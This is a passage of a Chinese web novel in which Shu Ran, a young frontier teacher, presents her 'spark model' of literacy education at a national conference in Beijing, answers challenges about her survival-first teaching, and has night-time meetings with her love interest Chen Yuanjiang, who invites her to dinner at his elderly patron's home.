廖承这时开口:“舒染同志,你刚才提到生存教育先行,这个提法很有针对性。但在实际工作中,会不会有人批评你们忽视了教育的政治性和思想性?” 这个问题很尖锐。小赵有些紧张地看着舒染。 舒染神色不变:“廖组长,我们认为,生存教育本身就具有政治性。在边疆,群众识字后能看懂政策文件,能理解国家方针,能更好地参与集体生产建设,这就是最实际的政治教育。相反,如果群众连字都不认识,我们空谈政治、空讲理想,他们听不懂,也接受不了。所以,我们是找到了政治性与群众接受度之间的结合点。” 她看了一眼周围的反应,继续说:“而且,我们在教学内容中,有机融入了爱国主义、集体主义、民族团结等内容。这些都不是孤立进行的,而是渗透在实用技能教学中。” 廖承看着她,点了点头,没再追问。 讨论继续。其他代表也提出了各自的问题,舒染一一回答。她能感觉到,在座的很多人对她的做法是认同的,因为大家面临着类似的困境——资源匮乏,群众基础薄弱,需要找到切实可行的突破口。 上午的讨论在十二点结束。散会时,几位代表围过来和舒染交流,要她的联系方式,说以后多请教。舒染礼貌地回应。 廖承在整理材料,没有马上离开。等人都走得差不多了,他走过来:“舒染同志,中午一起吃饭?有点事想和你聊聊。” 小赵立刻说:“那我去食堂……” “赵干事也一起吧。”廖承说,“就是工作交流。” 三人一起往食堂走。路上廖承没说话,小赵有些紧张,舒染则很坦然平静。 到了吃饭的地方,是一个国营小饭店。上了饭菜,找了个相对安静的角落坐下。廖承这才开口:“上午的发言很好,回答得也很到位。孙部长听了汇报,对你很肯定。” “谢谢领导肯定。”舒染说。 “不过,”廖承话锋一转,“明天的全体大会发言,你要有心理准备。” “我明白。”舒染说,“我会基于事实回答。” “另外,”廖承看着她,“你之前提到的那几个需要政策支持的点,部里正在研究。可能很快会有试点政策出台。你要有所准备,如果政策下来,你们那能否承担试点任务?” 这是个重要信号。舒染立刻意识到,这是一个机遇。 “如果政策支持到位,我们那里有条件也有意愿承担试点。”舒染回答得很慎重,“但需要具体的支持方案。” 廖承点点头:“考虑得很周全。这样,你把刚才说的这些具体需求,整理一个简要的书面材料,明天发言后给我。不用太长,突出重点就行。” “好。” “另外,”廖承放下筷子,语气更随意了些,“你到首都,还没出去看看吧?” “没有,一直在招待所。” “会议结束后,如果有时间,可以出去看看。这里有些地方,还是值得一看的。”廖承说,“需要的话,我可以带你转转。” 这话听起来是关心,但舒染听出了别的意味。她笑了笑:“谢谢廖组长。不过会议安排很满,估计没时间。以后有机会再说。” 廖承看了她一眼,没再坚持。 饭后,廖承先走了。小赵看着他的背影,小声对舒染说:“舒染同志,廖组长对你很关心啊。” “是工作上的关心。”舒染淡淡地说,“走吧,回去休息一下,下午还有讨论。” 下午的讨论聚焦师资和教材问题。舒染继续分享边疆的经验,也听取了其他地区的做法。她发现,虽然各地情况不同,但核心问题相似——缺人、缺钱、缺合适的教学资源。 讨论中,有一位来自某师范学院的教授提出了不同意见。他认为基础教育必须坚持系统性和规范性,不能因为条件困难就降低标准。 “如果我们现在教给群众的都是碎片化的内容,将来怎么衔接更高级的教育?怎么培养全面发展的人才?” 这话引起了争论。有代表赞同,认为教育要有长远眼光;也有代表反对,认为在生存都成问题的地方,谈系统规范是空中楼阁。 舒染没有立刻发言。等争论稍歇,她才开口:“我理解教授的观点。教育的系统性和规范性确实重要。但我想分享一个我们那儿的实际情况。” 她讲了启明小学的事例。“所以,我们认为,”舒染说,“在基础薄弱的地区,教育的路径可能需要分阶段。第一阶段,解决‘有没有’和‘用不用’的问题,通过实用内容吸引群众入学,打下文化基础。第二阶段,在有一定基础后,逐步引入更系统的知识体系,向规范化教育过渡。这两个阶段不是割裂的,而是递进的。如果没有第一阶段,很多人根本不会走进教室;如果没有后续系统化的跟进,教育就会停留在低水平重复。” 她想了想要补充的地方,“当然,这对教师提出了更高要求——他们既要懂实用教学,也要有系统视野。这也是我们强调教师要持续培训的原因。” 那位教授听完,沉思片刻,点了点头:“你这个分阶段的思路,有道理。确实不能一刀切。” 讨论继续,气氛更加热烈。张副司长和廖承不时插话引导,确保讨论不跑偏。 下午五点,讨论结束。张副司长做了简短总结,肯定了大家的发言,表示会把意见建议带上去。 散会后,舒染感觉有些疲惫。高强度地思考、表达和回应,消耗很大。她和小赵慢慢往回走。 “舒染同志,你今天讲得太好了。”小赵忍不住说,“我都记下来了,回去要向厅里详细汇报。” “大家都讲得好无保留,这次交流很有收获。”舒染说。 回到房间,林静已经在了。她今天在另一组讨论,见面就问:“怎么样?你们组讨论激烈吗?” “还好,有不同观点,但都能理性交流。”舒染简单说了说情况。 “那就好。”林静说,“我们组也差不多。不过我听说明天大会发言,除了你,还有另外三个代表。其中有个华东某市的代表,据说理论水平很高,可能会提出一些比较前沿观点。你要有点准备。” “谢谢林姐提醒。” 晚饭后,舒染没有散步。她回到房间,开始整理廖承要的材料。 做完这些,已经九点多了。她洗漱完,靠在床头,脑海里再次过了一遍明天发言的思路。 林静已经睡了。舒染关掉台灯躺下。 明天之后,会议就过半了。她的任务将完成大半。然后呢?然后就是等待会议结果,准备返程。 陈远疆又一次浮现在脑海。如果他想见她,应该会在这两天想办法。如果会议结束她就要离开,那见面的机会就很小了。 她不知道自己是期待还是抗拒。期待见到他,又抗拒那种可能带来的情绪波动。她现在需要的平静的状态。 别想了。她对自己说。该来的总会来,不该来的想也没用。 她闭上眼睛,强迫自己睡去。 不知过了多久,半梦半醒间,她似乎听到敲门声。 她立刻醒了。看了看表,夜里十一点。这么晚了,谁敲门? 林静也醒了,含糊地问:“谁啊?” 敲门声又响了两下,还是不重,但很坚持。 舒染起床,披上外套,走到门边,压低声音:“谁?” 门外安静了一秒,然后是一个熟悉的声音: “是我。” 舒染的手停在门把上,心跳漏了一拍。 她听出来了。是陈远疆。 第155章 舒染呼吸一滞。 林静在床上坐起来, 睡意全无,警惕地看着门:“小舒,是谁?” 舒染定了定心绪, 转头对林静说:“林姐,是我一个老朋友。可能有什么事, 我去门口说两句。” 林静眼神里闪过一丝了然,点点头,没再多问, 重新躺下。 舒染轻轻拧开门锁,拉开一条缝。 走廊里灯光昏暗,陈远疆站在门外。他穿着军绿色便装,神色看起来有些疲惫。 他看到舒染, 眼神光微动, “方便出来说两句吗?” 舒染回头看了眼房间, 林静面朝墙壁躺着。她轻声说:“等我一下。” 她关上门, 迅速换下睡衣, 穿上外裤和外套, 把头发随意拢了拢。然后披上大衣,拿起钥匙重新开门出去, 反手轻轻带上门。 陈远疆站在走廊阴影里,等她走近, 才转身往楼梯口走。舒染跟在他身后半步。 两人一前一后下了楼。招待所一楼大厅值夜班的工作人员是个中年妇女,正趴在桌上打盹。陈远疆出示了一个证件, 低声说了句什么, 工作人员点点头,又趴回去了。 陈远疆带着舒染走出楼门,来到院子里, 舒染裹紧了大衣。 楼下的路灯晕开一团团昏黄的光,勉强照亮小径。 舒染跟着陈远疆走到院子角落一棵大槐树下。石桌冰凉,石凳也透着寒气。他停下脚步,转过身。 月光清清冷冷地洒下来,勾勒出他硬朗的面部轮廓。他瘦了,那双眼睛看过来时,里面是毫不掩饰的思念。 舒染站定在他面前一步远的地方,没说话,只是仰头看着他。这几个月来音讯寥寥的悬心……所有情绪在这一刻翻涌上来,堵在喉咙口。 她忽然觉得有点委屈,又有点生气,但更多的是铺天盖地的想念。 “你……”她先开了口,声音有点哑,清了清嗓子才继续,“你怎么找到这里的?” 陈远疆的目光像是黏在她脸上,一寸寸地巡梭,仿佛在确认她是否安好。听到问话,他才动了动嘴唇:“可以查到。” “哦。”舒染应了一声,垂下眼,看着地上两人几乎挨着的影子,“你等了很久吗?” “没多久。”陈远疆立刻说,随即又补充,“下午有点事,没等到。晚上又来了。” 所以是等了一下午,没见到,晚上又特意跑过来。舒染心里那点说不清道不明的气闷消散了些,但另一种更复杂的情绪升起来。 她抬起头,直视他的眼睛:“你走的时候,说‘等我回来’。” 陈远疆的喉结滚动了一下。他听出了她话里那点情绪。他张了张嘴,似乎想解释什么,最终却只是涩声道:“……情况有变。任务延长,纪律要求,不能随意联系。”他顿了顿,低沉着声音道:“对不起。” 舒染看着他的脸,心口那点郁结忽然就散了。她太了解他了,了解他的责任,他的纪律,他的身不由己。她千里迢迢来到北京,固然有会议的原因,心底深处,何尝没有想离他近一点、或许能见上一面的隐秘期盼呢? “我没怪你。”她轻出一口气,语气柔和下来,“就是……突然没了消息,总会有点担心。” 陈远疆的眼神亮了起来,“我很好。”他急急地说,仿佛怕她不信,“就是忙,规矩多。你……路上辛苦吗?住得惯吗?吃得好不好?”问题一个接一个,笨拙又急切。 舒染忍不住弯了弯嘴角:“还好。比坐闷罐车那会儿强多了。”她看着他的眼睛,“你呢?瘦了。这边……是不是不太习惯?” 陈远疆沉默了一下,点了点头,又摇摇头:“工作性质不同。要学的东西多。” 两人之间安静下来。晚风吹过,带着自然的气息。舒染的头发被吹起几缕,拂过脸颊。 陈远疆不禁伸出手,轻轻将她被风吹乱的那缕头发别到耳后。指尖触到她的耳廓,他的动作很轻柔。 舒染没躲,甚至微微偏头,让他的手指更熨帖地划过耳后。 陈远疆的手顿住了,指尖有些微微发颤。他的深吸了一口气,目光灼灼地看着她。接着他向前一步,张开双臂,将她整个人拥进了怀里。 这个拥抱有些用力,甚至有点莽撞。舒染的脸撞在他的胸膛上,她觉得陈远疆在用一种近乎失态的力度将她箍得很紧,仿佛怕一松手她就会消失一样。 舒染的身体紧绷了一下,随即彻底放松下来,伸出手环住了他的腰身。她把脸埋在他胸前吸了一口气。所有的情绪都在这个拥抱里找到了暂时的安放之处。 她能感觉到他身体的轻微颤抖,她知道,那是他情绪激烈波动的反应。 “舒染……”他在她头顶叫她的名字,语气里饱含着太多情绪。 “嗯。”她应了一声,手臂收得更紧了些。 谁也没再说话。 不知过了多久,陈远疆的力道才稍稍松了些,但依然环抱着她,下巴抵着她的发顶。“会开得怎么样?”他的声音闷闷的。 “还行。明天发言。”舒染的脸还贴着他胸口。 “紧张吗?” “有一点。不过该准备的都准备了。” “嗯。”他应着,大手在她背后轻轻拍了两下带着安抚的意味,“别怕。你讲的是事实,是干出来的成绩。怎么想就怎么说。” “我知道。”舒染抬起头,从他怀里稍稍退开一点,看着他近在咫尺的脸,“我今天这次见到了孙副部长,还有一位周部长。” 陈远疆环着她的手臂也紧了紧:“周部长?他说什么了?” 舒染把谈话的大致内容,特别是关于教育固边、文化融边、经济兴边的战略构想,以及对他们两人组合的含蓄期许,简明扼要地说了一遍。 陈远疆听得眉头蹙起,等她说完了,沉默了片刻,才说道:“看来周伯伯提前和你说了。我这次调来,一部分原因也是这个战略在筹划。他找你谈,说明上面考虑得很深,也认可你。”他看着她,目光复杂,“这意味着,将来你可能要承担更多,面对的也会更复杂。边疆不会一直像畜牧连那样。” “我明白。”舒染平静地说,“从决定留下那天起,我就没想过只当个太平老师。现在这样,不过是路更清楚了些。”她顿了顿,反问,“你呢?你早就知道了,是不是?所以你才说‘等我回来’,其实你自己都不知道什么时候能回去,甚至……还回不回得去?” 陈远疆的嘴唇抿成了一条直线,默认了她的猜测。“组织需要。我……没有选择。但我没想到,他们会这么快把你也考虑进来。” 舒染却摇了摇头,语气坚定:“陈远疆,你搞错了。我不是因为你才被考虑进来的。我是因为自己在边疆做的事才进入了他们的视野。我们是两条平行推进的线,因为目标一致,所以才有了交汇的可能,也才会被希望形成合力。” 她伸手,轻轻抚平他蹙紧的眉头,“别把我想成需要你庇护、或者被你牵连的人。我们是并肩的,明白吗?” 陈远疆怔怔地看着她,看着她眼中的独立清醒。是啊,他怎么会忘了,她能独自在戈壁滩上站稳扎根。心底那股负疚感突然就被她这番话熨平了不少。 他满心骄傲地看着她,握住她抚在自己眉间的手,点了点头:“我明白。” “所以,”舒染任由他握着手,“别再说什么对不起。我们各自努力,然后在这里相见,或者在需要我们的任何地方并肩。这不就是你当初说的吗?” 陈远疆看着她亮晶晶的眼睛,只觉得胸口有一种的情绪几乎要满溢出来。他再也忍不住,低下头将额头轻轻抵上她的额头,两人呼吸相闻。 “嗯。”他哑声应道,气息拂过她的脸颊,“并肩。” 又静静地待了一会儿,夜风更凉了。陈远疆松开她,从随身带着的旧军用挎包里拿出一个油纸包,塞到她手里:“给你。枣泥糕,这个天气能放得住。这是茶叶和茉莉花,晚上别喝太多,影响睡觉。” 东西还是那些东西,关心还是那样的关心。舒染接过油纸包。 “谢谢。”她轻声说。 “快上去吧,外面凉。”陈远疆看了看招待所的窗户,不少已经熄了灯,“明天还要开会。” “你呢?回哪儿?” “有住处,不远。”他含糊地说,显然涉及纪律不便多言。 舒染不再多问,点点头:“你也注意休息,别太拼。” “好。”陈远疆应着,却站着没动,目光依旧胶着在她脸上,像是看不够。 舒染被他看得脸颊微热,转身要走,又停住,回头飞快地说了一句:“陈远疆,见到你,我很高兴。”说完,也不等他反应,抱着油纸包快步走向楼门。 陈远疆站在原地,望着她消失在门后的背影,良久,抬手摸了摸刚才被她指尖抚过的眉心,那里似乎还残留着一点温软的触感。 舒染进了楼门。值班的工作人员还在打盹。她轻手轻脚地上楼,回到房间。 林静还没睡,听到她进来,翻了个身:“回来了?” “嗯。”舒染把点心放在桌上,脱了外套。 “没事吧?”林静问。 “没事,就说了几句话。”舒染说,躺回床上。 房间重归安静。舒染睁着眼睛,看着天花板。 他来了。她很温暖,但也有一种隐隐的不安和怅惘。 他的说辞好像是这次调来首都,归期未定。而她,会议结束后就要回边疆。两人之间的距离,不仅仅是几千公里的距离,更是人生轨迹可能的分岔。 她翻了个身,强迫自己不再想。明天还有重要的发言,不能分心。 第二天早晨,舒染醒得比平时早。她洗漱完,打开陈远疆给的点心包。枣泥糕用油纸包得整整齐齐,一共四块。茶叶香味扑鼻。 她泡了一杯茶,在林静的桌子上放了一块枣泥糕,随后吃了一块枣泥糕。味道不错,甜而不腻。林静也醒了,闻到茶香:“哟,这茶不错啊。” “朋友给的。”舒染说,“快来尝尝。” “不用不用,你留着喝。”林静摆摆手,但眼神里带着笑,“昨晚那位朋友?” 舒染笑了笑,没否认。 早饭时,小赵注意到舒染精神不错:“舒染同志,昨晚休息得好?” “挺好。”舒染说。 上午九点,全体大会继续。今天的主要议程是代表发言交流。主席台上坐满了领导,台下座无虚席。 主持人宣布发言开始。第一位发言的是东北某工业城市的教育局长,介绍他们如何利用工厂资源开展职工教育和子弟学校建设。 第二位是华东某省的代表,一位四十多岁的女同志,理论水平很高,发言中引经据典,提出了不少关于教育改革的前沿观点。舒染听得很认真,有些观点确实有启发性,但她也感觉到,这些观点与边疆的现实距离较远。 第三位是西南少数民族地区的代表,介绍双语教育和民族文化传承的经验。案例很丰富。 不知过去了几个发言人,终于轮到了舒染。 主持人介绍:“下面,请边疆代表、兵团基层教育工作者舒染同志发言,她发言的题目是《边疆基层扫盲与基础教育的探索与实践——火种模式的初步总结》。” 舒染站起身,走向主席台。她能感觉到全场的目光聚焦在她身上。她走上讲台,调整了一下麦克风高度。 “各位领导,各位代表,同志们好。”她的声音通过音响传遍会场,“我来自边疆基层,今天向大家汇报一下我们在边疆特殊环境下开展扫盲和基础教育的一些探索,我们称之为‘火种模式’……” 她开始发言。没有华丽的辞藻,没有空洞的口号,她就像在边疆向连队领导汇报工作一样讲述那些具体的人和事:如何在条件极端简陋的情况下创办启明小学;如何挨家挨户动员孩子入学;如何克服牧区语言文化障碍;如何培养本地种子教师;如何把教学与生产生活实际结合;如何通过实用激励维持教学热情…… 她讲到了石头、阿迪力、王大姐、李秀兰,讲到了那些用石灰块写字、用羊腿骨削笔烧制、在土坯凳子上课的孩子们。她讲了成功,也讲了失败;讲了经验,也讲了教训;讲了成绩,也讲了依然存在的困难。 她的发言没有刻意渲染艰苦,但那些具体的细节——漏雨的工具棚、要走几公里挑水的宿舍、用废纸背面写作业的孩子……这本身就勾勒出了边疆基层的真实图景。 会场里许多人都动容了。 发言持续了二十五分钟。结束时,会场响起了热烈的掌声。 她回到座位。小赵激动得脸都红了,低声说:“舒染同志,讲得太好了!” 舒染笑了笑,没说话。 发言环节结束后,是自由提问。有几个代表举手,问题多集中在“火种模式”的具体操作细节上,舒染一一回答,条理清晰。 然后,一位坐在前排、学者模样的老同志举手。主持人把话筒递给他。 “舒染同志,你的发言很生动,做法也很务实。”老同志声音洪亮,“但我有一个问题。你强调‘生存教育先行’,强调教育的实用性,这很好。但我想问,在这种高度实用主义导向的教育模式下,会不会导致教育过于功利化、碎片化,缺乏对精神世界和文化底蕴的塑造?” 会场安静下来,所有人都看着舒染。 舒染平静地回答道:“感谢这位前辈的提问。您的问题非常重要,也是我们在实践中一直在思考和探索的。”她语气诚恳,“首先,我想说明,‘生存教育先行’不是否定教育的育人功能,而是基于边疆基层现实条件的一种路径选择。” 她顿了顿,继续:“在边疆,许多群众,无论是职工还是牧民,他们的首要需求是生存。如果我们一开始就讲宏大的道理、系统的知识,他们听不懂,也没有时间精力去学。结果可能是,他们根本不会走进教室。” “所以,我们的做法是,先通过解决这些最实际的生存问题,让群众感受到教育愿意学习,愿意让孩子学习。当群众有了最基本的文化基础,当他们从教育中获得了好处,我们才能在此基础上逐步引入更丰富的内容——爱国主义、集体主义、民族团结、科学常识、文化传统等等。” 她举了阿迪力的例子,随后看着那位老同志:“我们认为,教育必须建立在受教育者能够理解、能够接受的基础上。在条件艰苦的地区,这个基础就是生存教育。先让人活下来、活得好,再让人活出高度、活出境界——这可能是一种更人本的路径。” “至于会不会导致功利化、碎片化,”舒染继续说,“这取决于教育者是否有系统思维和长远眼光。我们在培养教师时,就强调他们不仅要教实用技能,还要有意识地把文化传承、价值引导融入日常教学。同时,我们也在探索如何建立从扫盲到基础教育的衔接机制,让那些有潜力的孩子能够继续学习更系统的知识。这确实很难,但我们在努力。” 她讲完了。会场安静了几秒,然后响起了掌声。那位提问的老同志也点了点头,没有再追问。 提问环节继续,又有几个代表问了问题,舒染都从容应对。她能感觉到,经过刚才那一轮交锋,会场里许多人对她的做法更认同了。 提问环节结束,上午的会议也结束了。散会时,许多代表围过来和舒染交流,有要材料的,有请教问题的,有邀请她去他们那里交流的。舒染礼貌地回应,小赵在旁边帮忙记录。 廖承走过来,等人都散得差不多了,才对舒染说:“发言很好,回答得更好。孙部长很满意。” “谢谢廖组长。” “下午分组讨论继续。晚上有个小范围的座谈会,孙部长想请几位基层代表聊聊,你也参加。七点,在二号楼小会议室。” “好。” 廖承看了看她,似乎想说什么,但最终只是点点头,转身走了。 午饭时,舒染成了食堂里的焦点。不少代表主动过来和她坐一桌,继续交流。林静笑着对她说:“舒代表,你今天可算出名了。” 舒染笑笑,没说什么。她能感觉到,经过上午的发言和问答,她的经验和方法得到了认可。 下午的分组讨论,气氛更加融洽。同组的代表们对舒染的“火种模式”表现出更大兴趣,讨论了很多具体落实问题。张副司长也很肯定,说这个模式对类似地区有借鉴意义。 讨论结束前,廖承透露了一个信息:部里正在考虑选择几个有代表性的地区,开展基层教育综合改革试点,可能会给予一定的政策支持和资源倾斜。他虽然没有明说,但眼神看向舒染的方向。 这个消息舒染比小赵先一步知道。 散会后,小赵兴奋地说:“舒染同志,这会不会是咱们边疆的机会?” “还不确定。”舒染说,但心里也在思考。如果真的有试点机会,对边疆教育将是重要的推动。 晚饭后,舒染简单收拾了一下,七点准时来到二号楼小会议室。会议室里已经坐了七八个人,除了孙副部长和廖承,还有另外五位基层代表,林静也在其中。 座谈会很轻松,没有固定议程,就是聊天。孙副部长让大家谈谈最真实的感受、最迫切的需求、最具体的建议。 代表们畅所欲言,讲了很多在正式会议上不便讲的话:基层的苦、政策的难落地、形式主义的困扰、对支持的渴望。 舒染也谈了边疆的具体困难和对试点政策的期待。 座谈会持续到九点多。结束时,孙副部长说:“今天听了很多宝贵意见。部里会认真研究。教育改革是系统工程,需要顶层设计,也需要基层探索。像舒染同志你们在边疆的探索就很有价值。希望你们继续坚持,部里也会考虑给予更多支持。” 这话说得很明确。舒染心里有了底。 散会后,林静和舒染一起往回走。林静说:“小舒,看来你们要迎来机会了。” “希望如此。”舒染说,“但最终还要看政策怎么落地。” “是啊,政策落地是关键。”林静感慨,“不过你已经做了你能做的最好的。剩下的,就看上面了。” 舒染和林静回到房间,她感觉有些疲惫,但精神很振奋。今天的发言和座谈会都很顺利,超出了她的预期。 她洗漱完,靠在床上,拿起陈远疆给的那包点心,又吃了一块枣泥糕。 她想起昨晚的见面,想起他站在月光下的样子。今天一整天忙下来,几乎没有时间想他,但现在安静下来,那个身影又浮现在脑海里。 他还会来吗?会议后天就要结束了。如果他想再见她,应该就是明天了。 她不知道。也不想去猜。 她把点心包好,关灯躺下。明天还有最后一天会议,不能松懈。 但入睡前,她还是忍不住想:她回了V城之后,陈远疆要还会回X师吗?就算他也回边疆了,自己和和他暂时也不在一个地方。V城和X师离得不近,那以后…… 算了,想这么多也没用,不如睡觉。舒染叹了口气,闭着眼睛开始数羊,很快睡着了。 第156章 全国教育工作座谈会很快落下帷幕。 上午是总结大会, 孙副部长做了长篇总结报告,系统梳理了会议成果,肯定了各地代表的经验贡献, 其中特别点名了几个,包括舒染。他又提出了下一步全国扫盲和基础教育工作的指导原则与重点任务。 报告里, 多次出现了“因地制宜”、“注重实效”等字眼,舒染能听出来,她所倡导的思路。报告也提到了对边疆、民族、贫困等特殊地区给予倾斜支持, 这算是一个积极的信号。 下午是简短的闭幕式,部里主要领导出席并讲话,再次强调了教育工作的战略意义,勉励大家回去后认真贯彻落实会议精神。然后就是颁奖、合影。 舒染和另外几位基层代表一起, 上台领取了“全国教育工作先进分子”的荣誉证书和一个印着红字的搪瓷缸子。台下掌声热烈, 有宣传口的记者在拍照。 散会时, 已是下午四点多。代表们互相道别, 约定保持联系, 交换着写有地址的小纸条。气氛里有种任务完成后的轻松, 也掺杂着各奔东西的惆怅。 林静握了握舒染的手:“小舒,回去常写信!你们边疆要是有什么新招好招, 别忘了给我寄一份材料!” “一定,林姐。你们西南的经验, 对我们也很宝贵。”舒染真诚地说。 小赵忙前忙后,帮舒染收拾会议材料, 兴奋地说:“舒染同志, 咱们这次可算是满载而归!那么多领导的关注……回去肯定要大力宣传!” 舒染笑了笑,没接这个话茬。 回到招待所房间,舒染开始慢慢整理行李。五天的会议, 资料攒了厚厚一摞,笔记本也写满了大半本。她把重要的文件、有领导批示的材料单独收好,那些一般的会议简报则暂时放在一边。林静也在收拾,两人有一搭没一搭地聊着天。 “你什么时候的车票?”林静问。 “会务组说统一订,明天或者后天的,还没通知。”舒染叠着衣服,“林姐你呢?” “我明晚的火车。早点回去,一大堆事等着呢。”林静叹了口气,“开了眼界,也添了压力。回去怎么把会议精神落到实处,还得费脑子。” “都一样。”舒染表示理解。 晚饭是会议最后的聚餐,安排在招待所食堂,加了两个肉菜,算是饯行。气氛比平时热闹,不少代表以茶代酒,互相敬着。舒染这桌成了焦点,不断有人过来和她碰杯,说些“年轻有为”、“向你学习”的话。舒染礼貌地应付着。 她看到廖承在另一桌,正和几位领导说话。目光偶尔扫过来,与她对上,他举了举手中的茶杯,遥遥示意。舒染也回以点头。他们之间,似乎形成了一种基于工作认可才去联系的默契。这样就好,舒染想,保持适当的距离和工作的往来,是最稳妥的。 聚餐快结束时,王建华找到舒染,低声说:“舒染同志,你的返程车票安排好了。另外,孙副部长让我转告,部里对你的模式很重视,可能会组织一个小范围的调研组,过段时间去边疆实地考察,希望你们做好接待准备。具体时间和人员,另行通知。” “好的,我们一定配合。” “还有,”王建华声音压低了些,“周部长那边让你多留一两天,有些事情可能需要你再沟通一下。具体安排,会有人联系你。” 舒染点了点头,没多问。她知道,这“有些事情”,很可能就与陈远疆,与那晚谈话中暗示的未来布局有关。 回到房间,林静已经洗漱完准备睡了。舒染坐在床边,看着窗外的夜色,心里有些纷乱。会议结束了,但她的北京之行还有未完。陈远疆那天晚上之后就没再出现,她知道他纪律严格,不可能常来。 正想着,走廊里传来很轻的敲门声,是陈远疆来的那种节奏。 舒染的心跳快了一拍。她看了一眼已经躺下的林静,林静眼皮动了动,没睁眼,翻了个身面朝墙壁。 舒染起身,轻轻开门。 门外果然是陈远疆。他还是穿着那身便装,但头发理短了些,看起来很精神。他手里提着一个网兜,里面是几个罐头。 “还没睡?”他低声问。 “嗯,刚收拾完。”舒染侧身让他进来,但陈远疆摇了摇头,把网兜递给她:“给你。明天可能没空过来。” 舒染接过,沉甸甸的。“你吃过了吗?”她问。 “吃过了。”陈远疆的目光在她脸上停留,“会开完了?” “嗯,今天闭幕了。准备要走了。” 陈远疆沉默了一下,似乎在斟酌词句。走廊里灯光昏暗,他的表情看不太真切。 “明天……”他看向她的眼睛,眼神中带着小心翼翼地询问:“如果没什么安排……晁伯伯,就是我曾和你说过的老首长,他想见见你。在家里,吃顿便饭。” 尽管早有预感,但亲耳听到这个邀请,还是让舒染的神经瞬间紧绷。这不是工作会谈,是私下的家庭式的见面。 在这个年代,一个年轻姑娘被男方的长辈,尤其是这样身份的长辈邀请到家里吃顿便饭,其中蕴含的意味不言而喻。 见舒染一时没说话,陈远疆立刻补充道:“就是简单见个面,晁伯伯人很好,很随和。他说看了你的材料,听了孙部长的汇报,想和你聊聊边疆教育,没别的意思。”他这话说得有点急,像是怕她拒绝,又像是在努力淡化这件事的特殊性。 舒染看着他的样子,心里那点紧张忽然被一种复杂的情绪冲淡了些。她明白,陈远疆提出这个邀请需要多大的决心。这不仅仅是他想带她去见一位重要的长辈,更是他在用一种非常含蓄的方式,向她、也向那位长辈表明一种态度——他认定了她。 在这个恋爱关系普遍含蓄、结婚需要组织批准、个人问题与政治前途紧密挂钩的年代,这种私下的家庭见面,几乎等同于一种承诺的前奏。 她应该感到高兴,或者至少是安心。但舒染的脑子里,属于穿越者的那部分记忆和理智,却在此刻不合时宜地翻腾起来。 她想起原主的家庭出身始终是个隐患。她更想起后世看过的那些小说、电视剧里,高干家庭的家长们为了孩子的政治前途,是如何精心筹划联姻,如何对不合适的平民女孩设置障碍的。 虽然陈远疆反复强调他只是养子,但能被那样级别的老首长收养和培养,本身就意味着他被寄予厚望。老首长会如何看待她这个资本家出身、虽然有点成绩但毫无背景的女知青?会真心接纳,还是仅仅因为陈远疆的坚持而勉强同意?亦或是……出于更复杂的考量,比如她恰好符合教育固边战略所需要的专业人才形象,从而将她视为一个对陈远疆未来事业有益的配套人选而接纳? 她在复杂环境中挣扎求生过,所以必须始终保持着清醒的头脑。她知道,一步踏错,可能影响的不仅是她和陈远疆的感情,更可能让她刚刚有起色的事业,甚至未来的自由都陷入被动。 她的神情显然没有逃过陈远疆的眼睛。他眼中的期待和紧张渐渐换成了担忧。他上前半步,语气带着急切:“舒染,你别多想。晁伯伯真的只是想见见你,聊聊工作。他对我就像对自家子侄,但他不是那种……那种会干涉私事的人。他很讲道理,看人看事,都重实际。你的能力,你做的事,他都知道,也很欣赏。” 舒染看看陈远疆,欣赏?一个大领导怎么会无缘无故对她表示欣赏,其中必然有陈远疆的念叨吧。 他看着舒染的眼睛,语气变得更加郑重,甚至带着一丝恳切:“晁伯伯有他自己的子女。我将来怎么样,说到底,要靠我自己干出来,不是靠什么荫庇。那些东西,晁伯伯不屑,我也不想。”他说得有些艰难,仿佛在努力剖白,想让她卸下思想负担。 “我带你去见他,只是因为他是我最尊敬的长辈,而我想让他见见对我来说最重要的人,仅此而已。” 这番话吹散了舒染心中的纠结,她听出了他的真诚。老首长似乎不是那种热衷政治联姻的家长。 但理智依然在提醒她:即便如此,见面本身依然充满未知和风险。这次会面不可能只是一次简单的家常便饭。 她迎上陈远疆担忧的目光。他的眼神里有紧张,有期待,也有一种坚持。她忽然觉得,自己那些基于后世想象的担忧,或许真的有些多余。 至少,她应该相信眼前这个男人的判断和诚意。 “好。”她轻声说,给出了肯定的答复,“我去。什么时候?” 陈远疆明显松了口气,“明天中午,我来接你。地方不远,坐车一会儿就到。” “需要我带什么东西吗?”舒染问,开始思考见面礼仪。第一次登门,空手总不合适,但带什么又是个学问。太贵重显得巴结,太普通又显得没诚意。 “不用。”陈远疆立刻摇头,“晁伯伯最烦这些虚礼。你人去就行。要是实在过意不去……阿姨喜欢养花,你路上要是看到有卖茉莉或者兰草的,带一小盆也行,不贵,是个心意。” 舒染点点头,记下了。“穿什么有讲究吗?”她又问。太正式显得拘谨,太随意又怕失礼。 陈远疆上下打量了她一下:“就穿你平时开会那身,干净整齐就行。” “好。”舒染心里大致有了底。 正事说完,两人之间又陷入沉默。陈远疆似乎想说什么,又不知道如何开口。 “你……”舒染先打破了沉默,“明天来接我之前,能先找个地方,跟我大概说说老首长家里的情况吗?比如,除了晁伯伯和阿姨,还有谁会在家?吃饭时大概聊什么话题?有什么需要特别注意的忌讳?”这是她一贯的风格,尽可能获取信息,做好准备。 陈远疆愣了一下,随即眼中闪过欣赏。这就是舒染,永远冷静,永远想着如何把事情做得更稳妥。 他点点头:“好。明天上午十点,我在招待所东边那个街口的邮局门口等你。我们找个安静地方说。” “嗯。”舒染应下。 “那……我走了。你早点休息。”陈远疆说着,却没有立刻转身。 舒染看着他,忽然伸出手,轻轻握了一下他垂在身侧的手。“你也别太累。明天见。” 陈远疆手指蜷缩了一下,随即反手握紧了她的手,用力捏了捏,然后才松开。“明天见。”他深深看了她一眼,转身大步离开,背影很快消失在楼梯拐角。 舒染关上门。林静在床上幽幽地叹了口气:“哎哟,可算是说完了。我这憋着不敢喘大气。” 舒染脸一热:“林姐,你没睡啊?” “睡了也被你们这嘀嘀咕咕吵醒了。”林静翻过身,支着脑袋看她,脸上带着促狭的笑,“见家长?行啊小舒,动作够快的。那位晁伯伯,来头不小吧?” 舒染走到床边坐下,没否认:“是他一位很尊重的长辈。” 林静收敛了玩笑的神色,认真道:“这是大事。不过看你这样,心里是有谱的。记住姐一句话:不卑不亢,有啥说啥。咱们靠自己本事吃饭的,到哪儿腰杆都挺得直。成分是历史问题,不是你的问题。你做出的成绩,谁都抹杀不了。” 这话给了舒染莫大的安慰。“谢谢林姐。” 